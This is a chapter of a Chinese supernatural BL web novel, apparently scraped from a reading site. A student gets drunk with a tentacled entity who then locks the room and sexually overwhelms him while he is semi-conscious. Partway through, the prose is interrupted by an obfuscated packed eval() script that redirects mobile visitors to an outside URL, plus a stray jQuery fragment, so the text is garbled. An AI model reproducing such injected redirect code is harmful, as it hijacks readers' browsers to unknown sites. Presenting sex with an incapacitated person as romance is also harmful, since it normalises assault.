19.沈猫被吃透

作品:《绿茶触手,在线贴贴

    沈钰这才想起这个男人有厌食症,而且自己还收了上万元的礼物。


    理论上,自己确实有义务陪他吃饭。


    可这人怎么可能明白自己此刻的痛苦!


    肾虚,这可是天大的事啊!!


    俗话说,饭饱思淫/欲……


    等下?!沈钰顿住,难道是自己前阵子吃太饱吃太好了,进补过度,所以才会夜夜有反应?


    沈钰越想越觉得对劲。自从和宴世开始吃东西后,他比之前吃得好多了,然后就出这档子事。


    所以……


    都是这个男人的错。


    沈钰更不开心了,狠狠瞪向男人:“回去喝水吧,我已经吃饱了!”


    罪魁祸首!饿死你!


    宴世一把拉住沈钰的手:“你没吃饱。”


    “我可是吃了五十块钱的麻辣烫!”


    宴世语气笃定:“但你没吃饱。”


    沈钰:“……”


    宴世:“吃宵夜吗?”


    沈钰:“……吃什么?”


    他投降了。


    因为他真的没吃饱。也不知道这麻辣烫是怎么个压秤法,五十块钱的价格,沈钰怀疑有二十块都是菜里的水。


    宴世:“烧烤?”


    沈钰:“……好,带我去。”


    他赶紧补充一句:“不是我想吃,是因为你是病人,我陪病人吃宵夜而已。万一你饿死在我面前怎么办?”


    宴世轻轻嗯了一声。


    沈钰本以为对方会带自己去校外小店,可没想到宴世竟开车,左拐右拐到了个小巷。进店时,居然还要验身份。


    沈钰:“不是说吃烧烤吗?”


    宴世:“日式烧鸟,也是烧烤。”


    ……


    万恶的资本主义。


    两人来到隔间,宴世连菜单都没翻,径直对服务员道:“每样都来。”


    沈钰看了眼,犹豫:“多了点吧……”


    宴世惊讶抬头。


    他要节食了?


    沈钰努力装作淡定:“我最近不想吃那么多东西。”


    宴世:“……你这几天受了什么打击?”


    沈钰怒了:“我平时也没吃那么多吧。”


    宴世视线缓慢掠过他两颊的肉,又若有若无落在他腰臀曲线,喉结微动,把菜单推回去:“招牌可以再多上一份。”


    服务员点头收走,沈钰急了:“我真的不吃那么多!我最近要节食。”


    再不节食,再这么补充营养的话,就要精尽人亡了!!


    宴世:“你不胖。”


    沈钰:“这不是胖不胖的事情,这是……”


    他卡住了,宴世眼神落过来:“是什么事情?”


    沈钰沉默了。


    要不要和这个男人说这件事情?不说又编不出其他谎,说了又觉得丢脸。


    18岁男大学生,因为夜夜春|梦快要虚脱,这事说出口,他的人生就完了。


    他胡乱扯了句:“……反正我最近要少吃点。”


    宴世看着他半晌,眸光微垂,不知在想什么。隔间的门被推开,服务员送来清酒。他接过:“喝酒吗?”


    或许喝了酒,晚上会睡得很熟,熟到没心思去想那些事情了,沈钰立刻点头。


    清酒冰凉,入口清淡,后劲却慢慢涌上来。沈钰边喝边吃,眼尾染上酒意。白净的皮肤在渲染下透着薄红,唇被酒润得鲜亮。


    宴世垂眸凝视,不急不缓:“我们不是朋友吗?遇到什么事情都可以和我说,我会尽力帮你的。”


    肾虚的事情,你能怎么帮?


    沈钰埋头吃烤串,又喝了口酒。


    宴世:“我学医,如果是身体方面的问题,或许我能帮忙。”


    沈钰心想学医又怎样,医者不自医,你自己还不是有厌食症和肾虚……


    等下……


    肾虚???


    这人不是肾虚吗!那他一定比自己有心得吧?毕竟宴世是长期病,自己不过是近期才有状况……岂不是正好能取点经?


    沈钰越想越觉得可行。他又闷头灌了口酒,鼓起勇气抬眼。


    青年本就有点儿微醺了,眼神湿漉漉地亮着,透过酒意定定盯着对面男人,眼角还带点红。


    宴世靠在椅背,胸膛缓缓起伏。


    沈钰含含糊糊,压低声音:“最近老是做梦,然后……”


    话到一半,他怎么都说不出口了。沈钰索性起身绕过桌子,俯下去靠近宴世。


    灯光从上方垂下,透过他薄薄的白T,把腰腹的线条勾勒得一清二楚。额前的碎发垂落,气息压在宴世耳畔:“早上醒来时,就、就……会有本不该发生的事情。”


    宴世眼底一暗。


    ……梦遗?


    目光不自觉落在沈钰的腰腹。那里的线条还带着少年气,结实却稚嫩,像是未经雕琢的玉。


    猛烈刺激时,会不会控制不住地颤抖、浑身泛红得不成样子吗?


    沈钰吐字时唇齿几乎要蹭到耳廓,热意一点点落在皮肤上:“已经好几天了,医生说……再不控制的话,会虚。”


    那股味道被酒气浸化,甜得过分,几乎要叫人失控。宴世桌下的影子随着沈钰的呼吸不受控制地躁动起来,仿佛下一瞬就要破土而出。


    想到会肾虚,醉了的十八岁处男哽咽了下:“我还要结婚,我不能虚。”


    他起身,掌心撑着宴世的肩膀,琥珀色的眼睛波光潋滟,从上往下看着他,委屈得像要溢出来。


    喝醉酒的身体本就软得要命,还很炽热。沈钰的脑海因酒精变得发昏,一张口就完全止不住了:“万一以后对象嫌弃我,我娶不了媳妇怎么办?”


    越想越委屈,情绪一上头,沈钰都想哭了。


    梦里那该死的蛇!知不知道每天这么缠来缠去,现在上厕所,他看到红彤彤的小伙伴都觉得可怜!


    “都怪梦里的蛇!”沈钰憋回眼泪,控诉:“也都怪你!!”


    宴世看着沈钰委屈的样子,温柔道:“怪我什么?”


    影子舞动得更厉害了。


    阴湿而沉重,墨绿色的触手从黑暗里缓缓钻出,蜿蜒、蠢动,硕大饱满,形状狰狞,甚至比青年纤细的腰还要粗。


    它们向着沈钰的方向探来,却被男人轻飘飘的目光定在了原处。


    沈钰指责:“怪你给我吃得这么好,让我精力旺盛,无处发泄,才会每天晚上都这样……”


    宴世:……


    推理过程出了问题,但结果没错。


    他已经猜到是守生干的事了。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16347721|183388||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    沈钰抽了下鼻子,琥珀眼眸波光粼粼:“所以!宴学长,你要对我负责!”


    宴世起身搂住快栽下去的沈钰,宽大的手掌环住细腰:“放心,我不是不负责的人,会帮你解决问题的。”


    沈钰半阖着眼,醉意地感动:“你真好。”


    虽然你犯了错,但哥们你自己都肾虚,还来治我。


    豪人。


    绝世大豪人。


    “要是真的帮我解决问题到位了,到时候我办结婚宴席时绝对喊你。”


    宴世慢吞吞,听着这人喝醉了后满嘴的胡话:“好,记得喊我。”


    心里没了牵挂,沈钰半撑着的意识开始弥散。小小的包间,温柔却暗含侵占味道的海洋味道四处弥漫开来。


    好好闻……好像梦里的味道。


    沈钰迷迷糊糊地想。他半掩着眼,整个身体都搭在宴世的身上,轻柔又规律地呼吸着。


    宴世慢条斯理地将人放倒在榻榻米上,直起身,走到门口。


    咔哒——


    一声轻响,隔间的门被反锁。


    那一瞬,脚下的影子翻涌起无数墨绿的触手,铺天盖地,笼罩了整个隔间。触手群蠕动,却又因为主人的威慑,停在沈钰旁边。


    滴答滴答。


    黏液滴落的声音。


    时钟在缓缓走动的声音。


    宴世的步伐极轻。他走到沈钰面前,整个人影正好覆盖了下来。


    影子交叠的那一瞬,沈钰浑身骤然一颤,腰肢一软。他想往后退,却像陷进了淤泥,怎么都使不上力。


    男人抬起手,手掌缓缓落下。


    宽大,炽热,力道沉稳,将青年完全按住。


    沈钰的呼吸混乱,喉咙里溢出的气息断断续续。手微微抬起,却根本没有力气推开,只在空气里抖了抖,就软软垂落下来。


    背部紧紧贴着冰冷的榻榻米,腰腹却被烫人的气息包裹,冷热交错,刺激得他头皮发麻。


    宴世半俯下身,额心几乎要触到青年。影子蠕动,吮/吸着青年散落的情绪味道。


    沈钰颤抖得无法制止,那感觉就像是一个脆弱的容器,被深海骤然灌注异物。他根本容纳不下,只能在撕裂的快/感与恐惧中摇晃。


    喉咙溢出的声音带着沙哑,与另一人平稳又暧昧的呼吸混杂在一起。


    前者近乎崩溃,后者则依旧冷静。


    沈钰眼角泛着泪。他模糊感觉自己的意识被揉碎成齑粉,再被碾进了对方的掌控里。


    好像……


    有人在生气。


    可为什么生气呢?


    胸膛发热,四肢发麻,沈钰的思绪开始支离破碎。


    宴世静静地看着身下的青年。


    白净的喉结上下滚动,唇微张着。那双琥珀色的眼早已失焦,只剩下湿润与无助。


    好看。


    漂亮得像是被摆在盘子里的祭品。


    只是守生陪了一阵子后,就对自己的香味如此上/瘾,失神至此。


    那要是真的触手落上去的话……


    会崩溃得哭出来吧?


    空气静得只剩下呼吸和时钟声。也不知过了多久,阴影收敛下去,触手重回影子。


    男人轻道:


    “多谢款待。”